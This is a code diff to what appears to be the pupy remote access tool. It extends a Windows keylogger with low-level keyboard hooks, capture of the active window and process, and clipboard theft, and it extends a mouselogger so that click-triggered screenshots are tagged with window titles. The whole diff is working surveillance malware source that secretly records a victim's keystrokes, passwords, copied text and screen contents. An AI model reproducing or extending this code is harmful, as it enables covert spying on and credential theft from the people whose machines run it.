diff --git a/pupy/modules/keylogger.py b/pupy/modules/keylogger.py index d104fc20..08fadcc1 100644 --- a/pupy/modules/keylogger.py +++ b/pupy/modules/keylogger.py @@ -13,7 +13,10 @@ from pupylib.utils.rpyc_utils import redirected_stdio __class_name__="KeyloggerModule" class KeyloggerModule(PupyModule): - """ a simple keylogger :-) """ + """ + A keylogger to monitor all keyboards interaction including the clipboard :-) + The clipboard is also monitored and the dump includes the window name in which the keys are beeing typed + """ #max_clients=1 daemon=True unique_instance=True diff --git a/pupy/modules/mouselogger.py b/pupy/modules/mouselogger.py index 2e5d5920..e32b2cdc 100644 --- a/pupy/modules/mouselogger.py +++ b/pupy/modules/mouselogger.py @@ -64,10 +64,13 @@ class MouseLoggerModule(PupyModule): self.success("%s screenshots taken"%len(screenshots_list)) print str(screenshots_list)[0:50] - for d, height, width, buf in screenshots_list: - filepath=os.path.join("data","mouselogger","scr_"+self.client.short_name()+"_"+str(d).replace(" ","_").replace(":","-")+".jpg") - pil_save(filepath, buf, width, height) - self.info("screenshot saved to %s"%filepath) + for d, height, width, exe, win_title, buf in screenshots_list: + try: + filepath=os.path.join("data","mouselogger","scr_"+self.client.short_name()+"_"+str(unicode(win_title, errors="ignore")).replace(" ","_").replace("\\","").replace("/","")+"_"+str(d).replace(" ","_").replace(":","-")+".jpg") + pil_save(filepath, buf, width, height) + self.info("screenshot saved to %s"%filepath) + except Exception as e: + self.error("Error saving a screenshot: %s"%str(e)) elif args.action=="stop": self.mouselogger.stop() self.job.stop() diff --git a/pupy/packages/windows/all/pupwinutils/keylogger.py b/pupy/packages/windows/all/pupwinutils/keylogger.py index 4e5d9963..6a4136ab 100644 --- a/pupy/packages/windows/all/pupwinutils/keylogger.py +++ b/pupy/packages/windows/all/pupwinutils/keylogger.py @@ -17,12 +17,14 @@ from ctypes import * from ctypes.wintypes import MSG, DWORD, HINSTANCE, HHOOK, WPARAM, LPARAM, BOOL, LPCWSTR, HMODULE import threading import time +import datetime import platform - +import os LRESULT = c_int64 if platform.architecture()[0] == "64bit" else c_long HOOKPROC = WINFUNCTYPE(LRESULT, c_int, WPARAM, POINTER(c_void_p)) user32=windll.user32 +kernel32 = windll.kernel32 #some windows function defines : SetWindowsHookEx = user32.SetWindowsHookExA @@ -34,18 +36,21 @@ CallNextHookEx.argtypes = [HHOOK, c_int, WPARAM, POINTER(c_void_p)] UnhookWindowsHookEx = user32.UnhookWindowsHookEx UnhookWindowsHookEx.restype = BOOL UnhookWindowsHookEx.argtypes = [HHOOK] -GetModuleHandleW=windll.kernel32.GetModuleHandleW +GetModuleHandleW=kernel32.GetModuleHandleW GetModuleHandleW.restype = HMODULE GetModuleHandleW.argtypes = [LPCWSTR] - WH_KEYBOARD_LL=13 WM_KEYDOWN=0x0100 +psapi=windll.psapi +current_window=None +paste=None + keyCodes={ 0x08 : "[BKSP]", 0x09 : "[TAB]", - 0x0D : "\n", + 0x0D : "[ENTER]", 0x10 : "[SHIFT]", 0x11 : "[CTRL]", 0x12 : "[ALT]", @@ -59,7 +64,7 @@ keyCodes={ 0x28 : "[DOWN]", 0x2C : "[PRINT_SCREEN]", 0x2E : "[DEL]", - 0x90 : "[NUM_LOCk]", + 0x90 : "[NUM_LOCK]", 0xA0 : "[LSHIFT]", 0xA1 : "[RSHIFT]", 0xA2 : "[LCTRL]", @@ -71,11 +76,13 @@ keyCodes={ class KeyLogger(threading.Thread): def __init__(self, *args, **kwargs): threading.Thread.__init__(self, *args, **kwargs) - self.hooked = None + self.hooked=None self.daemon=True self.keys_buffer="" self.pointer=None self.stopped=False + self.last_windows=None + self.last_clipboard="" def run(self): self.install_hook() @@ -124,14 +131,58 @@ class KeyLogger(threading.Thread): if wParam != WM_KEYDOWN: return CallNextHookEx(self.hooked, nCode, wParam, lParam) hooked_key = self.convert_key_code(lParam[0]) + + exe, win_title = "unknown", "unknown" + try: + exe, win_title = get_current_process() + except Exception: + pass + if self.last_windows!=(exe, win_title): + self.keys_buffer+="\n%s: %s %s\n"%(datetime.datetime.now(), str(exe).encode('string_escape'), str(win_title).encode('string_escape')) + self.last_windows=(exe, win_title) + paste="" + try: + paste=winGetClipboard() + except Exception: + pass + if paste and paste!=self.last_clipboard: + self.keys_buffer=self.keys_buffer.rstrip()+"\n%s\n"%(repr(paste)[2:-1]) + self.last_clipboard=paste self.keys_buffer+=hooked_key return CallNextHookEx(self.hooked, nCode, wParam, lParam) +#credit: Black Hat Python - https://www.nostarch.com/blackhatpython +def get_current_process(): + hwnd = user32.GetForegroundWindow() + + pid = c_ulong(0) + user32.GetWindowThreadProcessId(hwnd, byref(pid)) + + #process_id = "%d" % pid.value + + executable = create_string_buffer("\x00" * 512) + h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) + psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) + + window_title = create_string_buffer("\x00" * 512) + length = user32.GetWindowTextA(hwnd, byref(window_title),512) + + kernel32.CloseHandle(hwnd) + kernel32.CloseHandle(h_process) + return executable.value, window_title.value + +##http://nullege.com/codes/show/src%40t%40h%40thbattle-HEAD%40src%40utils%40pyperclip.py/48/ctypes.windll.user32.OpenClipboard/python +def winGetClipboard(): #link above is multiplatform, this can easily expand if keylogger becomes multiplatform + windll.user32.OpenClipboard(0) + pcontents = windll.user32.GetClipboardData(13) # CF_UNICODETEXT + data = c_wchar_p(pcontents).value + windll.user32.CloseClipboard() + return data + if __name__=="__main__": + #the main is only here for testing purpose and won't be run by modules keyLogger = KeyLogger() keyLogger.start() while True: time.sleep(5) print keyLogger.dump() - - diff --git a/pupy/packages/windows/all/pupwinutils/mouselogger.py b/pupy/packages/windows/all/pupwinutils/mouselogger.py index 5546c6da..058fb932 100644 --- a/pupy/packages/windows/all/pupwinutils/mouselogger.py +++ b/pupy/packages/windows/all/pupwinutils/mouselogger.py @@ -60,6 +60,8 @@ kernel32 = windll.kernel32 WH_MOUSE_LL=14 WM_MOUSEFIRST=0x0200 +psapi = windll.psapi +current_window = None # Initilisations SM_XVIRTUALSCREEN = 76 @@ -172,7 +174,6 @@ class MouseLogger(threading.Thread): return pixels.raw, height, width - def install_hook(self): CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) self.pointer = CMPFUNC(self.hook_proc) @@ -191,13 +192,39 @@ class MouseLogger(threading.Thread): ##http://www.pinvoke.net/default.aspx/Constants.WM if wParam == 0x201: buf, height, width = self.get_screenshot() - self.screenshots.append((datetime.datetime.now(), height, width, buf)) + exe, win_title="unknown", "unknown" + try: + exe, win_title=get_current_process() + except Exception: + pass + self.screenshots.append((datetime.datetime.now(), height, width, exe, win_title, buf)) return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) +#credit: Black Hat Python - https://www.nostarch.com/blackhatpython +def get_current_process(): + hwnd = user32.GetForegroundWindow() + + pid = c_ulong(0) + user32.GetWindowThreadProcessId(hwnd, byref(pid)) + + #process_id = "%d" % pid.value + + executable = create_string_buffer("\x00" * 512) + h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) + psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) + + window_title = create_string_buffer("\x00" * 512) + length = user32.GetWindowTextA(hwnd, byref(window_title),512) + + kernel32.CloseHandle(hwnd) + kernel32.CloseHandle(h_process) + #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) + return executable.value, window_title.value + if __name__=="__main__": ml = MouseLogger() ml.start() while True: - time.sleep(5) - for d, height, width, buf in ml.retrieve_screenshots(): - print "screenshot of %s/%s taken at %s (%s bytes)"%(height, width, d, len(buf)) + for d, height, width, exe, win_title, buf in ml.retrieve_screenshots(): + print "screenshot of %s/%s taken at %s (%s bytes) from %s : %s "%(height, width, d, len(buf), exe, win_title) + time.sleep(1)